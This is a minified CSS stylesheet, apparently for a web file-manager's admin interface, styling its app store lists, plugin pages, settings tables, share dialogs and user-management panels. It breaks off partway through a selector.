.price-label.label-warning{background:#ff9800;}#body .main.app-content .app-list .app-li .price-label.label-warning.label:before,body .main.app-content .app-list .app-li .price-label.label-warning.label:before{border-color:#ff9800;border-left-color:transparent;}#body .main.app-content .app-list .app-li .price-label.label-success,body .main.app-content .app-list .app-li .price-label.label-success{background:#00a854;}#body .main.app-content .app-list .app-li .price-label.label-success.label:before,body .main.app-content .app-list .app-li .price-label.label-success.label:before{border-color:#00a854;border-left-color:transparent;}#body .main.app-content .app-list .app-li .icon,body .main.app-content .app-list .app-li .icon{background-image:linear-gradient(to bottom,#def 0,#fff 100%);border-radius:4px;}#body .main.app-content .app-list .app-li .flag-box,body .main.app-content .app-list .app-li .flag-box{overflow:hidden;position:absolute;right:0;width:60px;height:60px;}#body .main.app-content .app-list .app-li .flag,body .main.app-content .app-list .app-li .flag{position:absolute;top:10px;right:-28px;width:100px;height:22px;line-height:22px;box-shadow:0 1px 5px rgba(0,0,0,0.2);font-size:12px;color:#fff;overflow:hidden;text-overflow:ellipsis;transform:rotate(45deg);}#body .main.app-content .app-list .app-li .text,body .main.app-content .app-list .app-li .text{height:50px;}#body .main.app-content .app-list .app-li .name,body .main.app-content .app-list .app-li .name{color:#444;font-weight:800;margin:10px 5px 0;max-height:32px;overflow:hidden;}#body .main.app-content .app-list .app-li .copyright,body .main.app-content .app-list .app-li .copyright{color:#aaa;max-height:32px;overflow:hidden;}#body .main.app-content .app-list .app-li .icon,body .main.app-content .app-list .app-li .icon{height:90px;background-color:rgba(0,0,0,0.01);}#body .main.app-content .app-list .app-li .icon img,body .main.app-content .app-list .app-li .icon img{max-width:100%;max-height:100%;width:72px;border-radius:10%;}#body .main.app-content .app-list .app-li .icon .content,body .main.app-content .app-list .app-li .icon .content{width:80px;height:80px;padding:10px;margin:0 auto;}#body .main.app-content .app-list .app-li .icon .content .font-icon,body .main.app-content .app-list .app-li .icon .content .font-icon{width:55px;height:55px;line-height:52px;font-size:40px;text-align:center;background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));padding:10px;margin-top:1px;display:inline-block;border-radius:12px;color:#fff;}#body .main.app-content .app-list .app-li .icon .content .font-icon.words,body .main.app-content .app-list .app-li .icon .content .font-icon.words{font-size:26px;font-weight:800;text-shadow:0 0 5px rgba(255,255,255,0.8);}#body .main.app-content .app-list .app-li .action i,body .main.app-content .app-list .app-li .action i{padding-right:0.3em;color:inherit;}#body .main.app-content .app-list .app-li .action .btn.btn-default i.font-icon,body .main.app-content .app-list .app-li .action .btn.btn-default i.font-icon{color:#999;}#body .main.app-content .app-list .app-li .action>.btn,body .main.app-content .app-list .app-li .action>.btn{float:none;width:80px;height:22px;height:22px\0;padding-left:0;padding-right:0;}#body .main.app-content .app-list .app-li .action .btn-default.dropdown-toggle,body .main.app-content .app-list .app-li .action .btn-default.dropdown-toggle{color:#aaa;}#body .main.app-content .app-list .app-li .action .dropdown-toggle,body .main.app-content .app-list .app-li .action .dropdown-toggle{width:25px;}#body .main.app-content .app-list .app-li .action .dropdown-menu,body .main.app-content .app-list .app-li .action .dropdown-menu{min-width:130px;text-align:left;margin-top:-1px;}#body .main.app-content .app-list .empty,body .main.app-content .app-list .empty{margin:50px auto;font-size:20px;color:#888;}#body .main.app-content .app-list .empty .icon,body .main.app-content .app-list .empty .icon{background:url("../../../images/file_icon/icon_others/appStore.png");width:120px;height:120px;margin:0 auto;margin-bottom:20px;background-size:cover;}#body .main.app-content .progress,body .main.app-content .progress{border-radius:0px;margin:0 auto;color:#42a3f1;font-size:12px;height:23px;background:none;border:none;box-shadow:none;}#body .main.app-content .progress .total-size,body .main.app-content .progress .total-size{position:absolute;left:5px;z-index:100;line-height:20px;}#body .main.app-content .progress .download-speed,body .main.app-content .progress .download-speed{position:absolute;right:4px;z-index:100;line-height:20px;}#body .main.app-content .progress .progress-bar,body .main.app-content .progress .progress-bar{position:absolute;left:0px;bottom:-1px;border-bottom:2px solid #2196F3;background:none;border-radius:3px;box-shadow:none;height:100%;background:rgba(33,150,243,0.2);animation:progress-bar-stripes 2s linear infinite;}#body .main.app-content.app-plugins .app-li .icon img,body .main.app-content.app-plugins .app-li .icon img{border-radius:0;box-shadow:none;border-radius:4px 4px 0 0;}#body .main.app-content.app-plugins .app-li .action .dropdown-toggle,body .main.app-content.app-plugins .app-li .action .dropdown-toggle{margin-left:-5px;}#body.plugin-page .app-menu-left .line,body.plugin-page .app-menu-left .line{margin:5px 10px 5px 20px;color:#6B95B2;padding:4px 6px;border-bottom:1px solid #EBF0F5;border-color:rgba(150,150,150,0.3);}#body.plugin-page .app-menu-left .search input,body.plugin-page .app-menu-left .search input{width:105px;height:25px;margin:10px 10px 10px 20px;padding-left:24px !important;}#body.plugin-page .app-menu-left .search .search-btn,body.plugin-page .app-menu-left .search .search-btn{position:absolute;width:25px;height:25px;line-height:25px;padding:0;color:#888;cursor:pointer;text-align:center;}#body.plugin-page .app-menu-left .search .search-btn:hover,body.plugin-page .app-menu-left .search .search-btn:hover{color:#444;}#body.plugin-page .app-menu-left .search .search-btn.btn-search,body.plugin-page .app-menu-left .search .search-btn.btn-search{top:11px;left:21px;height:27px;width:27px;}#body.plugin-page .app-menu-left .search .search-btn.btn-close,body.plugin-page .app-menu-left .search .search-btn.btn-close{left:128px;top:14px;width:20px;height:20px;line-height:20px;background:#eee;border-radius:50%;}#body.plugin-page .app-config .panel-body,body.plugin-page .app-config .panel-body{padding:20px 0;}#body.plugin-page .app-config .header,body.plugin-page .app-config .header{padding:0px 0 5px 0;border-bottom:1px solid #ddd;}#body.plugin-page .app-config .header .btn,body.plugin-page .app-config .header .btn{position:absolute;top:10px;}#body.plugin-page .app-config .header .name,body.plugin-page .app-config .header .name{color:#0086E5;font-size:18px;font-weight:800;text-align:center;}#body.plugin-page .app-descript .header,body.plugin-page .app-descript .header{padding:0px 0 5px 0;}#body.plugin-page .app-descript .header .btn,body.plugin-page .app-descript .header .btn{position:absolute;top:10px;}#body.plugin-page .app-descript .header .name,body.plugin-page .app-descript .header .name{color:#0086E5;font-size:18px;font-weight:800;text-align:center;margin-left:200px;}#body.plugin-page .app-descript h1,#body.plugin-page .app-descript h2,#body.plugin-page .app-descript h3,#body.plugin-page .app-descript h4,#body.plugin-page .app-descript h5,#body.plugin-page .app-descript .h1,#body.plugin-page .app-descript .h2,#body.plugin-page .app-descript .h3,#body.plugin-page .app-descript .h4,#body.plugin-page .app-descript .h5,body.plugin-page .app-descript h1,body.plugin-page .app-descript h2,body.plugin-page .app-descript h3,body.plugin-page .app-descript h4,body.plugin-page .app-descript h5,body.plugin-page .app-descript .h1,body.plugin-page .app-descript .h2,body.plugin-page .app-descript .h3,body.plugin-page .app-descript .h4,body.plugin-page .app-descript .h5{border-bottom:1px solid #ddd;padding:0.5em 0;}#body.plugin-page .app-descript .left-content,body.plugin-page .app-descript .left-content{position:absolute;left:20px;top:50px;width:150px;padding:15px;margin:0 0 20px 0;background:#fafdff;color:#888;border:1px solid #eee;}#body.plugin-page .app-descript .left-content .icon,body.plugin-page .app-descript .left-content .icon{height:90px;background-color:rgba(0,0,0,0.001);}#body.plugin-page .app-descript .left-content .icon img,body.plugin-page .app-descript .left-content .icon img{max-width:100%;max-height:100%;border-radius:10px;}#body.plugin-page .app-descript .left-content .icon .content,body.plugin-page .app-descript .left-content .icon .content{width:80px;height:80px;padding:10px;margin:0 auto;}#body.plugin-page .app-descript .left-content .icon .content .font-icon,body.plugin-page .app-descript .left-content .icon .content .font-icon{width:55px;height:55px;line-height:52px;font-size:40px;text-align:center;background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));padding:10px;margin-top:1px;display:inline-block;border-radius:12px;color:#fff;}#body.plugin-page .app-descript .left-content .icon .content .font-icon.words,body.plugin-page .app-descript .left-content .icon .content .font-icon.words{font-size:26px;font-weight:800;text-shadow:0 0 5px rgba(255,255,255,0.8);}#body.plugin-page .app-descript .left-content .btn,body.plugin-page .app-descript .left-content .btn{margin:10px 0 0;width:80px;}#body.plugin-page .app-descript .left-content .btn.dropdown-toggle,body.plugin-page .app-descript .left-content .btn.dropdown-toggle{width:20px;margin-left:-1px;}#body.plugin-page .app-descript .left-content .app-title,body.plugin-page .app-descript .left-content .app-title{text-align:center;color:#555;padding:15px 10px 0 10px;}#body.plugin-page .app-descript .left-content .line,body.plugin-page .app-descript .left-content .line{border-bottom:1px solid #eee;margin:10px 0;}#body.plugin-page .app-descript .left-content .title,body.plugin-page .app-descript .left-content .title{color:#444;font-weight:800;padding:10px 0 3px 15px;}#body.plugin-page .app-descript .left-content .p,body.plugin-page .app-descript .left-content .p{padding:0 0 0 15px;}#body.plugin-page .app-descript .right-content,body.plugin-page .app-descript .right-content{position:absolute;left:200px;right:20px;top:45px;}#body.plugin-page .app-descript .right-content .description,body.plugin-page .app-descript .right-content .description{padding:10px 0 20px 15px;line-height:1.6em;word-break:break-all;font-size:13px;}#body.plugin-page .app-descript .right-content .sliders,body.plugin-page .app-descript .right-content .sliders{margin:5px 0 30px 20px;padding:0;}#body.plugin-page .app-descript .right-content .carousel-indicators,body.plugin-page .app-descript .right-content .carousel-indicators{bottom:-40px !important;}#body.plugin-page .app-descript .right-content .carousel-indicators li,body.plugin-page .app-descript .right-content .carousel-indicators li{border-color:#ccc;}#body.plugin-page .app-descript .right-content .carousel-indicators .active,body.plugin-page .app-descript .right-content .carousel-indicators .active{background:#2196F3;border-color:#2865e2;background:linear-gradient(to right,#44abf6,#2865e2);}#body.plugin-page .app-descript .right-content .glyphicon,body.plugin-page .app-descript .right-content .glyphicon{font-size:50px;margin-top:-30px !important;border-radius:50%;}#body.plugin-page .app-descript .right-content .carousel-control,body.plugin-page .app-descript .right-content .carousel-control{background:rgba(0,0,0,0.001) !important;width:20%;}#body.plugin-page .app-descript .right-content .carousel-control:hover .glyphicon,body.plugin-page .app-descript .right-content .carousel-control:hover .glyphicon{background:rgba(0,0,0,0.3);}#body.plugin-page .app-descript .right-content .carousel-inner,body.plugin-page .app-descript .right-content .carousel-inner{width:100%;text-align:center;}#body.plugin-page .app-descript .right-content .carousel-inner .item,body.plugin-page .app-descript .right-content .carousel-inner .item{height:350px;line-height:350px;width:100%;}#body.plugin-page .app-descript .right-content .carousel-inner .item img,#body.plugin-page .app-descript .right-content .carousel-inner .item a img,body.plugin-page .app-descript .right-content .carousel-inner .item img,body.plugin-page .app-descript .right-content .carousel-inner .item a img{margin:0 auto;max-width:100%;max-height:100%;display:inline;box-shadow:0 1px 5px rgba(0,0,0,0.4);}#body.plugin-page .app-descript .progress,body.plugin-page .app-descript .progress{background:#def;margin:10px 0;position:relative;}#body.plugin-page .app-descript .progress .progress-bar,body.plugin-page .app-descript .progress .progress-bar{border-bottom:4px solid #2196F3;border-radius:0;}#body .randomImage,body .randomImage{width:25px;height:25px;margin-left:15px;cursor:pointer;}#body .main,body .main{position:absolute;left:18%;width:82%;height:93%;margin:30px 0 0 10px;}#body .main .h1 .font-icon,body .main .h1 .font-icon{padding-right:16px;}#body .main div.h1,body .main div.h1{font-weight:400;color:#666;padding-bottom:8px;margin:0;font-size:22px;}#body .main .savebox,body .main .savebox{border-top:1px solid #eee;margin-bottom:10px;}#body .main .savebox a.save,body .main .savebox a.save{margin-left:5px;margin-top:5px;padding:4px 20px;}#body .main .section .box,body .main .section .box{display:flex;justify-content:space-between;flex-wrap:wrap;align-items:flex-start;margin-right:20px;}#body .main .section .box .flex-list,body .main .section .box .flex-list{float:left;width:140px;margin-right:10px;margin-bottom:0px;}#body .main .section .box .list,body .main .section .box .list{float:left;width:140px;height:115px;margin-right:10px;margin-bottom:15px;border:1px solid #ddd;background:#fff;cursor:pointer;border-radius:3px;position:relative;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .main .section .box .list.list-add,body .main .section .box .list.list-add{text-align:center;line-height:20px;color:#ccc;opacity:0.9;}#body .main .section .box .list.list-add .font-icon,body .main .section .box .list.list-add .font-icon{font-size:40px;padding:0px;margin-top:30px;}#body .main .section .box .list .item-remove,body .main .section .box .list .item-remove{position:absolute;right:-1px;top:-1px;display:none;border:none;background:rgba(0,0,0,0.3);color:#fff;width:30px;height:30px;font-size:14px;text-align:center;padding:0;line-height:30px;border-radius:0 0 0 30px;outline:none;}#body .main .section .box .list .item-remove:before,body .main .section .box .list .item-remove:before{position:relative;top:-3px;left:3px;}#body .main .section .box .list .item-remove:hover,body .main .section .box .list .item-remove:hover{background:#f30;}#body .main .section .box .list.listhover .item-remove,body .main .section .box .list.listhover .item-remove{display:block;}#body .main .section .box .list .ico,body .main .section .box .list .ico{width:120px;height:70px;margin:10px;text-align:center;overflow:hidden;}#body .main .section .box .list .info,body .main .section .box .list .info{text-align:center;color:#666;margin:0px;margin-top:0px;font-size:1em;height:24px;line-height:24px;border-top:1px solid #eee;background:rgba(0,0,0,0.05);overflow:hidden;}#body .main .section .box .list .ico img,body .main .section .box .list .ico img{max-width:100%;height:100%;}#body .main .section .box .list.this,body .main .section .box .list.this{border:1px solid #63acff;background-color:#c9e2ff;}#body .main .section .box .list.this .info,body .main .section .box .list.this .info{color:#444;border-top:1px solid #c9e2ff;}#body .main .section .box .list.listhover,body .main .section .box .list.listhover{border:1px solid #63acff;}#body .main .section .content,body .main .section .content{word-break:break-all;color:#448;margin-bottom:20px;}#body .main .section .content h2,body .main .section .content h2{border-bottom:1px dashed #eef;padding-bottom:5px;margin-bottom:5px;font-weight:400;font-size:1.25em;}#body .main .section .content p,body .main .section .content p{margin-left:5px;text-indent:2em;margin-bottom:8px;color:#666;font-size:1em;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:100%;}#body .main .section .content .box,body .main .section .content .box{color:#555;clear:both;color:#666;}#body .main .section .content .box .title,body .main .section .content .box .title{color:#444;border-bottom:1px dashed #ddd;width:100%;font-size:21px;margin-bottom:10px;margin-top:10px;}#body .main .section .content .box .title span,body .main .section .content .box .title span{border-bottom:1px solid #aaa;display:inline-block;margin-bottom:-1px;text-align:center;padding:5px 10px;float:none;width:auto;}#body .main .section .content .box p,body .main .section .content .box p{line-height:1.7em;text-indent:2em;padding:3px;margin:0;}#body .main .section .content .box p b,body .main .section .content .box p b{padding-right:8px;}#body .main .section .content .box p i,body .main .section .content .box p i{padding-right:10px;}#body .main .nav,body .main .nav{margin-right:30px;border-bottom:2px solid #63acff;}#body .main .nav a,body .main .nav a{display:block;float:left;padding:5px 1.8em;background:#eee;border:none;margin:0;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;color:#666;}#body .main .nav a:hover,body .main .nav a:hover{background:#e1efff;border:none;color:#63acff;}#body .main .nav a.this,#body .main .nav a.this:hover,body .main .nav a.this,body .main .nav a.this:hover{background:#63acff;border:none;color:#fff;}#body .main .member input,body .main .member input{display:inline-block;width:45px;margin-left:2px;}#body .main .member span,body .main .member span{padding-left:10px;}#body .main .member select,body .main .member select{padding:3px 5px;font-family:"微软雅黑";color:#666;}#body .main .member .info,body .main .member .info{background:#efe;padding:6px 10px;color:#8a8;border:#ccc 1px dotted;margin-top:10px;}#body .main .member .edit-role,body .main .member .edit-role{color:#666;}#body .main .member .edit-role:hover,body .main .member .edit-role:hover{border-bottom:1px solid #666;}#body .main .together,body .main .together{margin-top:-1px;border-bottom:1px solid #eee;padding:5px 0 0 0px;width:100%;}#body .main .together .title,body .main .together .title{float:left;width:80px;height:28px;line-height:20px;margin:5px;color:#333;}#body .main .together .title i,body .main .together .title i{padding-left:5px;font-style:normal;}#body .main .together span.text,body .main .together span.text{color:#bbb;font-size:1em;padding-left:10px;}#body .main .together.input input,body .main .together.input input{width:40%;margin-left:5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:26px;line-height:26px;}#body .main .together.input input:focus,body .main .together.input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}#body .main .group-editor .tag,body .main .group-editor .tag{height:27px;line-height:27px;margin:2px 4px;padding:0px 8px;text-decoration:none;color:#666;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;display:block;float:left;border:1px solid #eee;background:#fff;}#body .main .group-editor .tag input,body .main .group-editor .tag input{border:none;position:relative;top:-4px;display:inline-block;min-height:12px;margin-right:6px;}#body .main .group-editor .tag:hover,body .main .group-editor .tag:hover{color:#63acff;border-color:rgba(99,172,255,0.7);}#body .main .group-editor .tag.this,body .main .group-editor .tag.this{border-color:#63acff;color:#63acff;background:#ffffff;}#body .main .group-editor .tag span,body .main .group-editor .tag span{cursor:pointer;}#body .main .group-editor .together a.button,body .main .group-editor .together a.button{margin:0 0 0 10px;}#body .alert,body .alert{position:absolute;right:30px;left:0px;margin-top:10px;}#body .main .content .title span,body .main .content .title span{border-bottom:2px solid #bbb;}#body .main .panel,body .main .panel{margin-left:-1px;}#body .main .panel table .title,body .main .panel table .title{font-size:1.15em;}#body .main .panel table .button,body .main .panel table .button{margin-left:0px;}#body .main .panel table .title span,body .main .panel table .title span{border:none;}#body .main .panel table .menu-list .name input,body .main .panel table .menu-list .name input{width:90%;font-weight:400;}#body .main .panel table .menu-list .path input,body .main .panel table .menu-list .path input{width:90%;font-weight:400;}#body .menu-list,body .menu-list{color:#666;}#body .menu-list td span,body .menu-list td span{display:none;}#body .menu-list td label,body .menu-list td label{float:right;margin-right:8px;line-height:34px;padding-top:0px;}#body .menu-list td label input,body .menu-list td label input{margin-right:5px;}#body .menu-list td.url input[type=text],body .menu-list td.url input[type=text]{width:50% !important;float:left;margin-top:5px;}#body .menu-list td label span,body .menu-list td label span{display:inline-block;}#body .menu-system td input[type='text'],body .menu-system td input[type='text']{display:none !important;}#body .menu-system td span,body .menu-system td span{display:inline !important;}#body .menu-system .move-del,body .menu-system .move-del{display:none !important;}#body .menu-hidden,body .menu-hidden{opacity:0.5;}#body .setting-menu table tr td.url,body .setting-menu table tr td.url{line-height:30px;}#body .save,body .save{width:auto;}#body .main .select table a.button,body .main .select table a.button{padding:0 8px;}#body input[type="radio"],body input[type="radio"]{width:auto;border:none;}#body .setting-menu,body .setting-menu{margin-left:-1px;}#body .setting-tab table,body .setting-tab table{font-size:1em;color:#888;width:100%;margin:0px;border:none;border:1px solid #eee;margin:10px 0 0px 1px;}#body .setting-tab table tr,body .setting-tab table tr{border-bottom:1px solid #eee;background:#fff;height:30px;}#body .setting-tab table tr input[type='text'],body .setting-tab table tr input[type='text']{display:block;width:80%;color:#888;height:24px;}#body .setting-tab table tr.title,body .setting-tab table tr.title{background:#fff;color:#224;line-height:2.5em;height:2.5em;}#body .setting-tab table tr.title td,body .setting-tab table tr.title td{border-bottom:1px solid #eee;font-weight:800;}#body .setting-tab table tr.title span,body .setting-tab table tr.title span{color:#999;font-size:1em;padding-left:4px;font-weight:400;}#body .setting-tab table tr td,body .setting-tab table tr td{border-bottom:1px solid #eee;line-height:2.5em;height:2.5em;padding-left:3%;border-right:1px solid #eee;}#body .setting-tab table tr td.name,body .setting-tab table tr td.name{width:30%;}#body .setting-tab table tr td.name,#body .setting-tab table tr td.path,body .setting-tab table tr td.name,body .setting-tab table tr td.path{border-right:1px solid #eee;}#body .setting-tab table tr td.action,body .setting-tab table tr td.action{line-height:1.3em;}#body .setting-tab table tr td.action a,body .setting-tab table tr td.action a{margin-right:5px;}#body .setting-tab table tr td .font-icon,body .setting-tab table tr td .font-icon{padding-right:0em;color:#666;}#body a.add,body a.add{display:block;text-align:center;text-decoration:none;line-height:25px;height:25px;color:#444;box-shadow:none;border:1px solid #ddd;margin:-1px 0 20px 1px;background:#f3f3f3;}#body a.add:hover,body a.add:hover{background:#cde;}#body .create-app,body .create-app{margin:0;display:block;position:absolute;right:20px;margin-top:-5px;}#body .app-menu-left,body .app-menu-left{min-width:160px;width:160px;}#body .app-menu-left .setting li.selected,body .app-menu-left .setting li.selected{padding-left:12px;}body.setting-page #body a.font-icon-label,body.setting-page .artDialog a.font-icon-label{color:#698ebf;font-size:20px;width:35px;text-decoration:none;padding:0;display:inline-block;text-align:center;border-radius:3px;background:#E9F3F9;}body.setting-page #body a.font-icon-label:hover,body.setting-page .artDialog a.font-icon-label:hover{background:#698ebf;color:#fff;}body.setting-page #body a.font-icon-label .font-icon,body.setting-page .artDialog a.font-icon-label .font-icon{padding:0 !important;}body.setting-page #body .select-drop-menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting-page #body .button-aciton-muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting-page .artDialog .select-drop-menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting-page .artDialog .button-aciton-muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-radius:2px;}body.setting-page #body .select-drop-menu ul.dropdown-menu,body.setting-page #body .button-aciton-muti ul.dropdown-menu,body.setting-page .artDialog .select-drop-menu ul.dropdown-menu,body.setting-page .artDialog .button-aciton-muti ul.dropdown-menu{border:1px solid rgba(0,0,0,0.15);box-shadow:0 4px 30px rgba(0,0,0,0.2);}body.setting-page #body .select-drop-menu ul.dropdown-menu li>a,body.setting-page #body .select-drop-menu ul.dropdown-menu li>a,body.setting-page #body .button-aciton-muti ul.dropdown-menu li>a,body.setting-page #body .button-aciton-muti ul.dropdown-menu li>a,body.setting-page .artDialog .select-drop-menu ul.dropdown-menu li>a,body.setting-page .artDialog .select-drop-menu ul.dropdown-menu li>a,body.setting-page .artDialog .button-aciton-muti ul.dropdown-menu li>a,body.setting-page .artDialog .button-aciton-muti ul.dropdown-menu li>a{font-size:13px;padding:3px 30px;color:#666;}body.setting-page #body .select-drop-menu ul.dropdown-menu li>a:focus,body.setting-page #body .select-drop-menu ul.dropdown-menu li>a:hover,body.setting-page #body .button-aciton-muti ul.dropdown-menu li>a:focus,body.setting-page #body .button-aciton-muti ul.dropdown-menu li>a:hover,body.setting-page .artDialog .select-drop-menu ul.dropdown-menu li>a:focus,body.setting-page .artDialog .select-drop-menu ul.dropdown-menu li>a:hover,body.setting-page .artDialog .button-aciton-muti ul.dropdown-menu li>a:focus,body.setting-page .artDialog .button-aciton-muti ul.dropdown-menu li>a:hover{background:#63acff;color:#fff;}body.setting-page #body .aui-title,body.setting-page .artDialog .aui-title{font-size:1em;}body.setting-page #body .label-info,body.setting-page .artDialog .label-info{color:#698ebf;background:#E9F3F9;font-weight:400;font-style:12px;}.share-dialog .space-info-bar{margin:0 auto;margin-top:5px;}.share-dialog .label-default{background-color:#bbb;}.share-dialog .space-info-bar .space-process .space-process-use{background-color:#284b5a;}.share-dialog .select-drop-menu button.btn{width:150px;height:25px;}.share-dialog .select-drop-menu .selected{background-color:#def;}.share-dialog .select-parent-content .btn{width:140px;}.share-dialog .select-parent-content .icon-group{color:#FC913F;}.share-dialog .btn-default{background:#fefefe;background-image:none;filter:none;padding:2px 6px;}.share-dialog .dialog-group-display{width:270px;position:relative;left:90px;top:-33px;clear:both;margin-bottom:-20px;}.share-dialog .dialog-group-display .cell span.label{float:left;margin:4px 8px 4px 0;font-size:1em;cursor:default;}.share-dialog .dialog-group-display .cell{max-height:80px;overflow-y:auto;}body.setting-page .ztree a{border:none;padding-left:3px;}body.setting-page .ztree a:hover{border:none;}body.setting-page .ztree li a.curSelectedNode{color:#fff;}body.setting-page .ztree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;padding-top:2px;font-size:1.15em;color:#ddd;}body.setting-page .ztree .hover .sub-menu{display:inline-block;color:#aaa;}body.setting-page .ztree .curSelectedNode .sub-menu,body.setting-page .ztree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}textarea#name{width:157px;height:80px;border:1px solid #ddd;font-size:13px;border-radius:3px;outline:none;}textarea#name:focus{border-color:#75a1f0;box-shadow:0 0 4px #75a1f0;}body.setting-page .select-parent-content .ztree{width:auto;min-width:160px;max-width:500px;position:absolute;left:90px;margin-top:-2px;padding:0;z-index:100;background-color:#fff;border:1px solid #ccc;overflow-y:auto;height:250px;}body.setting-page .select-parent-content .ztree .sub-menu,body.setting-page .select-parent-content .ztree .curSelectedNode .sub-menu{opacity:0.01;filter:alpha(opacity=1);}#body .system-content{position:absolute;border:1px solid #ddd;box-shadow:0 0 5px #ddd;bottom:10px;right:30px;top:38px;left:0px;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}#body .system-content .group-title-span{text-decoration:none;color:#428bca;}#body .system-content .left-frame{position:absolute;bottom:0px;top:0px;overflow:auto;width:220px;background:#FEFEFF;border-right:1px solid #ddd;}#body .system-content .left-frame .left-header{position:absolute;z-index:100;width:100%;}#body .system-content .left-frame .left-header .tab{width:50%;margin-left:-1px;overflow:hidden;text-align:center;float:left;height:30px;cursor:pointer;line-height:30px;border:1px solid #d2d2d2;border-top:none;border-right:none;background:#DAE9FD;}#body .system-content .left-frame .left-header .tab.this{border-color:1px solid #FEFEFF;border-bottom:none;color:#555;background:#FEFEFF;font-weight:800;}#body .system-content .left-frame .left-content{margin-top:35px;}#body .system-content .left-frame .left-content .role-box{padding:10px 10px;}#body .system-content .left-frame .left-content .role-box ul{list-style:none;}#body .system-content .left-frame .left-content .role-box ul li.role-cell{border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .system-content .left-frame .left-content .role-box ul li.role-cell.role-cell-add{text-align:center;background:#eee;padding:0;color:#666;}#body .system-content .left-frame .left-content .role-box ul li.role-cell:hover{background:#eee;}#body .system-content .left-frame .left-content .role-box ul li.role-cell.select,#body .system-content .left-frame .left-content .role-box ul li.role-cell.select.role-cell-add{background:#63acff;color:#fff;}#body .system-content .left-frame .left-content .role-box ul li.role-cell .sub-menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}#body .system-content .left-frame .left-content .group-role-btn a{text-align:center;display:block;background:#def;margin:5px 10px;padding:15px 0;border-radius:2px;}#body .system-content .frame-resize{position:absolute;height:100%;width:10px;margin-left:-5px;background:transparent;z-index:100;cursor:col-resize;top:0px;left:220px;background:url(../../../images/common/resize.png) 0px 50% no-repeat;}#body .system-content .frame-resize.active{background:rgba(0,0,0,0.1);}#body .system-content #content-system-role .form-row{padding:0;}#body .system-content .right-frame{position:absolute;bottom:0px;top:0px;left:220px;right:0px;overflow:auto;padding:10px 10px 10px 20px;}#body .system-content .right-frame .group-title{font-size:25px;padding:8px 0;}#body .system-content .right-frame .group-title .group-title-span{border-bottom:2px solid;padding-bottom:3px;}#body .system-content .right-frame .group-title .group-size{position:absolute;margin-left:10px;border-radius:2px;font-size:12px;background-color:#f6f6f6;margin-top:5px;padding:6px 10px 0px;}#body .system-content .right-frame .user-toolbar{background:#eee;border-radius:3px;padding:7px 0px;margin:10px 0px;}#body .system-content .right-frame .user-toolbar .dropdown-menu{min-width:100px;}#body .system-content .right-frame .user-list table{border:none;width:100%;border-top:1px solid #ddd;border-bottom:1px solid #ddd;}#body .system-content .right-frame .user-list table tr{background:#fff;border:none;border-bottom:1px solid #eee;color:#666;}#body .system-content .right-frame .user-list table tr.title,#body .system-content .right-frame .user-list table tr.title:hover{background:#fafafa;border-top:1px solid #ddd;font-size:1em;color:#666;}#body .system-content .right-frame .user-list table tr:hover,#body .system-content .right-frame .user-list table tr.selected{background:#fff9ed;cursor:default;}#body .system-content .right-frame .user-list table tr.unuse{opacity:0.3;filter:alpha(opacity=30);}#body .system-content .right-frame .user-list table tr td{height:30px;line-height:30px;padding:0;border-right:none;width:auto;}#body .system-content .right-frame .user-list table tr td .space-info-bar{height:25px;}#body .system-content .right-frame .user-list table tr td .space-process{margin-top:6px;margin-bottom:-6px;}#body .system-content .right-frame .user-list table tr td .space-info{width:110px;overflow:hidden;}#body .system-content .right-frame .user-list table tr td.select{width:30px;padding-left:10px;}#body .system-content .right-frame .user-list table tr td.select input{position:relative;}#body .system-content .right-frame .user-list table tr td.select input:focus{box-shadow:none;}#body .system-content .right-frame .user-list table tr td.select:hover{background:#f6f6f6;}#body .system-content .right-frame .user-list table tr td.name{min-width:95px;}#body .system-content .right-frame .user-list table tr td.name a{border-bottom:1px solid;padding:2px;}#body .system-content .right-frame .user-list table tr td.role{width:90px;}#body .system-content .right-frame .user-list table tr td.space{width:120px;}#body .system-content .right-frame .user-list table tr td.group{width:auto;}#body .system-content .right-frame .user-list table tr td.action{width:auto;}#body .system-content .right-frame .user-list table tr td .label-small{font-size:10px;font-style:italic;color:#698ebf;background:#E9F3F9;padding:1px;border-radius:2px;}#body .system-content .right-frame .font-icon{padding:0;}#body .system-content .right-frame .search-user{position:absolute;right:10px;top:20px;}#body .system-content .right-frame .search-user .search-btn{position:absolute;right:20px;width:20px;text-align:center;height:20px;line-height:20px;margin-top:5px;border-radius:50%;cursor:pointer;opacity:0.8;}#body .system-content .right-frame .search-user .search-btn:hover{opacity:1;}#body .system-content .right-frame .search-user .search-btn.btn-close{right:35px;color:#F44336;}#body .system-content .right-frame .search-user .search-btn.btn-search{right:1px;background:none;border-radius:0px;background:#eee;height:30px;top:1px;margin:0;line-height:30px;width:30px;border-left:1px solid #ddd;border-radius:0 3px 3px 0;}#body .system-content .right-frame .search-user 